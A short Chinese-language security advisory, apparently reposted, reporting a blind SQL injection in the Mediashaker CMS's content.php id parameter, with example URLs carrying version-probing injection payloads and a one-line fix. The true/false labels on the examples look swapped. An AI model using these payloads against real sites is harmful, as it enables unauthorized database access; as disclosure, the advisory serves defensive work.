标题: Mediashaker Blind SQL Injection Vulnerabilitiy 作者: H4ckCity Security Team www.2cto.com WwW.H4ckCity.Org 影响所有版本 开发者: http://www.mediashaker.com/ 测试平台: GNU/ Linux Ubuntu - Windows Server - win7 ############################################################################ 示例测试 http://www.2cto.com /content.php?id=1 [Blind SQL] # # # Test Blind SQL Injection in MYSQL Version 5: # # # False # # http://wwww.2cto.com/content.php?id=1 and substring(@@version,1,1)=5-- # # True # # http://www.2cto.com/content.php?id=1 and substring(@@version,1,1)=4-- # # 修复 过滤content.php页面id参数输入
查看更多关于Mediashaker盲注缺陷及修复 - 网站安全 - 自学php的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://www.haodehen.cn/did12679